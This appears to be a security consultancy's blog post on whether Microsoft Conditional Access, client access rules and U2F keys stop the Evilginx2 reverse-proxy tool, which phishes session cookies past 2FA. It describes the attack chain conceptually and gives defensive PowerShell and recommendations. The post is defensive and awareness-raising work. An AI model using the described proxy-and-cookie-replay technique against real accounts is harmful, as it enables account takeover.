“Be aware that: Every sign-in page, requiring the user to provide their password, with any form of 2FA implemented, can be phished using this technique!” https://breakdev.org/evilginx-2-next-generation-of-phishing-2fa-tokens

That’s a bold claim! Matt Soseman from Microsoft says, “always combine MFA with Conditional Access.” Matt is one of Microsoft’s top Cybersecurity experts, as he spoke on behalf of Microsoft at the RSA Security Conference in March 2019 (PDF HERE).

In this blog post, we are going to put both claims to the test. How does Microsoft’s Conditional Access compare against Evilginx2? We tested 13 of Microsoft’s defense capabilities and found 7 ways to defeat EvilGinx2. We also provide 4 recommendations for Microsoft to further improve security, and 5 recommendations for customers.

First, let’s define terms.

• 2FA, or ‘two-factor authentication’ is most commonly something you know like a password, and then some other factor like an SMS text code or a token-based Authenticator mobile app.
• MFA, or ‘multi-factor authentication’ can be multiple factors, not just two. For example, Microsoft’s conditional access allows you to go beyond user-authentication to perform machine authentication. You can check to see whether a computer is joined to the on-premises Active Directory domain, or whether it has a certificate issued from Active Directory Certificate Services (using Microsoft Cloud App Security Conditional Access App Control), or is originating from a range of IP addresses (aka IP-fencing). You can also check for the risk level of a user identity (using Azure Identity Protection) or the risk level of a machine (with Microsoft Defender ATP).

In our testing, we found that while EvilGinx2 is successful in bypassing the user-authentication forms of 2FA (yes, even the Microsoft Authenticator App!), and Azure Identity Protection.

EvilGinx2 was unsuccessful in bypassing the full MFA capabilities that Microsoft offers in Azure Conditional Access. This is available for customers who own the Azure AD Premium P1 license, which is also bundled in Enterprise Mobility Suite E3, and/or M365 E3.

Anyone who owns Azure AD Conditional Access can protect themselves from EvilGinx2 MFA bypass. Anyone who does not own Conditional Access can partially defend themselves against EvilGinx. The client access rule only protects Exchange Online, not SharePoint Online, OneDrive, Dynamics, or any of the other Office 365 or Azure services.

How does EvilGinx2 Work?

In order to understand how Azure Conditional Access can block EvilGinx2, its important to understand how EvilGinx2 works. First, the attacker must purchase a domain name, like “office-mfa.com” and convince an end-user to click on that link. The attacker’s machine passes all traffic on to the actual Microsoft Office 365 sign-on page. Since all traffic is passed directly through, the end-user sees the *actual* Office 365 sign-in page. This means the attacker does not have to waste valuable time trying to make the page look identical. The authentication token is captured after the user performs user-based authentication (SMS or Authenticator App). The attacker can then import the cookie into their own browser to access Office 365. In our testing, the link was not blocked by MSFT EOP, Office ATP, Microsoft Defender ATP, or Windows Defender SmartScreen. However, we did find at least three methods that blocked EvilGinx2.

Figure 1 image credit – breakdev.org

The attacker’s EvilGinx2 server terminates the SSL session and it then re-transmits a new SSL session against login.microsoftonline.com. This avoids all SSL errors in the browser, since there is a valid ssl handshake to the attacker’s machine. This is an advantage for the hacker, but it turns out to be the Achilles heel because Azure Conditional Access can perform additional checks that will all block EvilGinx such as: IP address, Domain Join Membership, Compliance (via Intune UEM), or Certificate (via CASB).

Here is a screen shot showing Azure Conditional Access blocking EvilGinx2 because the attacker’s IP address does not match the policy.

Here is a screen shot showing that Azure Conditional Access blocks EvilGinx2 because the attacker’s proxy machine is not a domain-joined device

Here is a screen shot showing that Azure Conditional Access blocks EvilGinx2 because the attacker’s proxy machine is not meeting Intune compliance policy.

Here is a screen shot showing Microsoft Cloud App Security Conditional Access App Control successfully blocked the attacker from getting into Exchange Online because the attacker could not present a valid certificate.

Here is a screen shot showing new-clientaccessrule blocking EvilGinx2 from accessing the mailbox in Office 365

Another method that blocks EvilGinx is U2F (Universal 2nd Factor Authentication). The author of EvilGinx2 states (here) that U2F “leaves no room for error and is totally unphishable using Evilginx method…” and that “make your life easier and get a U2F device! This will greatly improve your accounts’ security.” [Update: On July 10th, Microsoft formally announced that Azure AD now supports FIDO2 in public preview (read announcement here).]

So here is a summary of all known/possible defenses in Microsoft’s security arsenal and how they measure up against EvilGinx2.

Recommendations for Office 365 Customers

1. If you are an Office 365 E3 subscriber, upgrade to Enterprise Mobility Suite and configure Azure AD Conditional Access for either (machine-authentication (domain-join checking, certificate checking) or IP address fencing) or (compliant device checking with Intune for Mobile Devices or Intune UEM for Windows 10). If you need assistance, find a qualified Microsoft Partner (here) and scroll down to the bottom.
   
2. Consider implementing client access rules to protect Exchange Online. For an excellent overview of how client access rules work, watch this MSFT Ignite Video (here), fast-forward to 7:35 and watch until 15:55. Here is an example client access rule targeting a test account.
   new-ClientAccessRule -name “Allow InternalIP Only” -Action DenyAccess -ExceptAnyOfClientIPAddressesOrRanges [enter your public IP addresses here] -UsernameMatchesAnyOfPatterns *TestUserName
   
3. Plan a U2F deployment, for example with Yubico. [This is now supported with Azure AD as of 7/10/2019].

   “With the YubiKey, user login is bound to the origin, meaning that only the real site can authenticate with the key. The authentication will fail on the fake site even if the user was fooled into thinking it was real. This greatly mitigates against the increasing volume and sophistication of phishing attacks and stops account takeovers.” Reference https://www.yubico.com/solutions/fido-u2f/
   

4. Perform regular Security Awareness training to help users recognize suspicious URLs.
   Note: Microsoft’s Office 365 ATP has an exclusive feature called ‘Native Link Rendering’
   to show users the original hyperlink when they hover over it. No other advanced hyperlink scanning solution has this capability (I asked all the top vendors this question including ProofPoint, Mimecast, FireEye, Symantec and others). Native Link Rendering requires the Office 365 C2R (click-to-run) version, and not the volume-licensed MSI installer version of Office. Monthly Channel 1808 release (September 2018) or Semi-Annual Channel 1901 (which has not rolled out yet except to the Semi-Annual Targeted channel). See release notes (here).
5. Harden the Office 365 tenant. A good place to start is my blog post ’20 Things to do before and after a phishing event in Office 365′. And we also offer a monthly service to continuously audit and harden Office 365, for more on that service click here.
   If you are investigating an incident and you believe a user’s token has been captured, you can invalidate a token with this AAD PowerShell cmdlet
   $date =get-date; Set-Msoluser -UserPrincipalName (UPN) -StsRefreshTokensValidFrom $date
   

Feedback for Microsoft:

• Microsoft should consider improving Office ATP Safe Links and/or SmartScreen to take into consideration the age of a newly registered domain name. Some of Microsoft’s competitors can check the age of a domain name when determining hyperlink reputation.
• Microsoft should consider developing features similar to new-clientaccessrule for the other services in Office 365 like SharePoint Online, OneDrive for Business, Teams, Dynamics
• Azure Identity Protection could be improved to check every attempt, similar to new-clientaccesrule. We assume the fact that we had imported a captured token is why we did not get triggered by the User Risk policy or Sign-in risk policies (which were both set to ‘low and above’ with the block control).
• Don’t give away which factor of authentication was the reason why the attacker could not sign-in. For example, in our testing the attacker is able to learn whether it was a domain join check or a compliance check that they failed. This is precisely what the PCI DSS takes issue with in their MFA guidance (here)

  

  Therefore we recommend that Microsoft change from Multi-Step to true Multi-Factor authentication. Today, any world-wide user can attempt to guess a username and password, only to then be blocked by a subsequent policy. This arms the attacker with too much information on which challenge failed.

  

-Joe Stocker, CEO

Patriot Consulting Technology Group, LLC

Our Mission “to empower our clients to manage cyber security risk by securely deploying Microsoft Cloud technology”

According to the latest Microsoft Security Intelligence Report, spear phishing remains the preferred attack method used by hackers. Microsoft detected a 250% increase in phishing messages between January and December 2018.

Figure 1 Page 21 of the Microsoft Security Intelligence Report Volume 24

Many organizations have deployed 2FA as a layer of defense to guard against phishing, so that if the user gives away the username and password, the attacker shouldn’t be able to logon to the user account. The purpose of this blog post is to raise awareness that Office 365 in particular is now vulnerable to “network session hijacking proxy theft” which allows an attacker to sign in regardless of the MFA solution (MSFT, Duo, RSA, SMS, etc). The authentication token is captured after the victim is tricked to going to a credential stealing website where they perform MFA through a proxy server. The token is then re-played by the attacker who can sign in as the user.

To see a demonstration of this, watch this Youtube video,

Kuba Gretzky – Phishing Through Modern 2FA Defences With Evilginx – YouTube

The cookie import was done using EditThisCookie

Prior to this video, I haven’t been able to find any evidence of blog posts or videos demonstrating a successful bypass against Office 365’s 2FA capabilities. It’s worth noting that Office 365 is not unique – the same man-in-the-middle attack works against Google, LinkedIN, and other platforms as first demonstrated by Kevin Mitnick (KnowBe4) in May 2018 (original blog post (here). Since then other phishlets have been developed for Amazon, Github, Protonmail, Citrix, OKTA, Twitter, Instagram, Facebook, reddit, and consumer Outlook.com, and now Office 365.

The reason why this is important is because much of the security industry emphasizes MFA without raising awareness of this man-in-the-middle threat. For example, in my opinion one of the best presentations at the 2018 RSA conference was given by Booz | Allen | Hamilton which gave overwhelming evidence that 2FA would have stopped or reduced the impact of every one of the 159,700 total cyber incidents reported by the Online Threat Alliance in 2017. (Page 6, reference here). Now, the caveat has to be added that MFA would have stopped cyber incidents as long as victims were not tricked to going to proxy websites.

We have taken for granted that the very best anti-spam/anti-phish security solutions will not block 100% of the threats, and it is now time we accept the reality that MFA will not always prevent unauthorized authentication (much like how the SMS version of 2FA is no longer recommended or sufficient).

Roger Grimes of KnowBe4 gave a wildly popular presentation at the 2019 RSA Security Conference (requiring overflow seating) which listed 12 methods to bypass MFA (PDF download here). Some of these techniques require the attacker to invest a lot of time and sometimes money and risk (sim swapping) or be adept at social engineering (phone number porting). However, this all changed when Kuba Gretzky (@mrgretzky) released EvilGinx in 2017. Kuba showed how attackers can reduce their risk, cost, and effort through “network session hijacking proxy theft.” Grimes mentioned this technique among the 12 MFA bypass methods in his RSA presentation, and included a video showing how Kuba’s updated EvilGinx2, successfully bypasses the 2FA of Gmail and LinkedIN. At that time, there was no Office 365 phishlet available, but it was later added by @JamesCullum. 

In January at a Microsoft event, I asked Microsoft if Office 365 defended or detected network session hijacking proxy theft, specifically EvilGinx2. They stated that Office 365 would prevent this technique. [See part two of this blog series to see how]

Enter Aidan Holland (@thehappydinoa), who recently verified that EvilGinx2 can successfully bypass Office 365’s 2FA. Aidan also solved a vexing problem for Troy Hunt, who was trying to get a list of the Fortune 500 for his security research. Read about his solution to solve that problem here.

It’s worth noting that the phishing link generated by EvilGinx2 is not blocked by MSFT EOP, Office ATP, Microsoft Defender ATP, or Windows Defender SmartScreen.

In the next blog post (here), I will discuss ways to protect against EvilGinx2.